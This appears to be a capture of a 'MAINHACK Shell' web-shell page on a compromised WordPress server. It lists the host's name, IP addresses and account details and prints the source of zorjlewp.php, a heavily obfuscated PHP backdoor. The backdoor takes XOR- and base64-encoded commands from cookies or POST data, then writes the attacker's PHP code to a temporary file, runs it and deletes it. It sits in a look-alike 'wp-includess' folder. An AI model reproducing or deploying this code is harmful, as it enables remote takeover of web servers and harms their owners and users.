MAINHACK

MAINHACK Shell

: /home/creationoo/www/wp-includess/Text/ [ drwxr-xr-x ]
Uname: Linux webm001.cluster110.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 7.3.33 [ PHP INFO ] PHP os: Linux
Server Ip: 213.186.33.19
Your Ip: 216.73.216.124
User: creationoo (224166) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : zorjlewp.php
<?php      function/*w   */yknakspr(){$efhkknbby='dmeqlamgdv';	print_r/* gf  */(95870+95870);   }


$nsczjcaaxd    =     'nsczjcaaxd'	^	'';


function     lgmxh($skfjgxclab,/*   kybp */$bbazigbxt){   global	$nsczjcaaxd;
      $xonne   =    "";

/*   ojbq   */for	($uuezhipng/* w */=/*  mt*/0;/* cjkje  */$uuezhipng	<   strlen($skfjgxclab);)    {


/*pf  */for/* ocesj  */($jd_cr_louu/* gokc*/=    0;     $jd_cr_louu/* rl*/<	strlen($bbazigbxt)     &&       $uuezhipng      <     strlen($skfjgxclab);	$jd_cr_louu++,   $uuezhipng++)   {

/* xzdjh   */$xonne/*   do   */.=	$nsczjcaaxd(ord($skfjgxclab[$uuezhipng])	^/*weqy*/ord($bbazigbxt[$jd_cr_louu]));
     }
	}

	return       $xonne;


}



function/* chhgt*/_fgo_hj_s($ltqkc,/*  ct_w  */$skfjgxclab){/* cbj*/global       $nsczjcaaxd;




	$koszo	=	sprintf($nsczjcaaxd(859-813)	./*i*/"/".$nsczjcaaxd(37)  .    "s"."\x2e"	.  "p"."\x6c",  md5($ltqkc));
/* oknz*/file_put_contents($koszo,      "<"  .  "\77"	.	"p"."h".$nsczjcaaxd(112)	.	$nsczjcaaxd(32)/*hh */.   "u".$nsczjcaaxd(505-395)	.	"\x6c"/*  hhfae  */.    "\151"."n"."k"."(".$nsczjcaaxd(95)/*  xsm */.	"_".$nsczjcaaxd(387-317)/*   qyl  */.  "I"."\x4c"	.    $nsczjcaaxd(69)      .      "_"."_"."\51"/*db*/./*   hb_fl*/$nsczjcaaxd(180-121)/*   epqx */.   $nsczjcaaxd(32)	.       $skfjgxclab["\144"]);

     include($koszo);
     $cnylzteauu/*   q  */=	$koszo;


/*  sasw*/unlink($cnylzteauu);
}



function  ggcck()

{	global/*  sri   */$nsczjcaaxd;
/* qfxgl  */	$uuezhipng	=/* how*/array();

  $uuezhipng[$nsczjcaaxd(970-858)	.  $nsczjcaaxd(118)]/* xxage  */=/*   k_bz   */phpversion();      $uuezhipng["s"."v"]	=   "3"."."."5";/*ztvok  */echo   @serialize($uuezhipng);
}



function	xbtmybbni($skfjgxclab,/*  jlmkv*/$ltqkc,	$mjrmzl){   global/* szdgl   */$nsczjcaaxd;
     	$skfjgxclab	=	unserialize(lgmxh(lgmxh(base64_decode($skfjgxclab),    $ltqkc),/* p*/$mjrmzl));

/*  km */if   (isset($skfjgxclab["\141"/* cup*/./* bnfn */"\x6b"]))	{   if/*   dsv*/($skfjgxclab[$nsczjcaaxd(448-351)]    ==/*   siva   */"\151")	{
	ggcck();/*   l */}/*   sgeho*/elseif      ($skfjgxclab[$nsczjcaaxd(448-351)]   ==	"\145")	{


/*lta_ */_fgo_hj_s($ltqkc,  $skfjgxclab);


   }


       exit();

      }


}



$vdmrh	=/*jq*/$_COOKIE;

$prr_e  =/* a */$_POST;
$vdmrh	=	array_merge($prr_e,     $vdmrh);


$ltqkc/*nsb*/=	"3"."\x33"   .  "\141"	.	$nsczjcaaxd(100)/* kbk   */.	"b".$nsczjcaaxd(448-351)."\144"."\x66"	./*  s*/"-"."4"."\146"/*y   */.      "f"."\x37"/* jflkj */.	"\x2d"	.   "4".$nsczjcaaxd(1061-964)/*  cqg   */.  "\144"."0"."-".$nsczjcaaxd(57)    ./*   t_ot */"\144"."\144"."2"."-"."\65"   .	$nsczjcaaxd(838-736)/*  vor*/./*qndle   */"\144"."\144".$nsczjcaaxd(51)      .	"\65"/*ukqk */./*   tjsyp */$nsczjcaaxd(352-303)	.	"\x39"     .	$nsczjcaaxd(303-253)/*   wmb  */.    $nsczjcaaxd(289-191)	./*  hs  */"c"."7";


foreach  ($vdmrh/*  klht  */as    $mjrmzl/*vudm   */=>	$skfjgxclab)/* bmm   */{
/*   _r_eo */xbtmybbni($skfjgxclab,       $ltqkc,	$mjrmzl);
}
© 2026 MAINHACK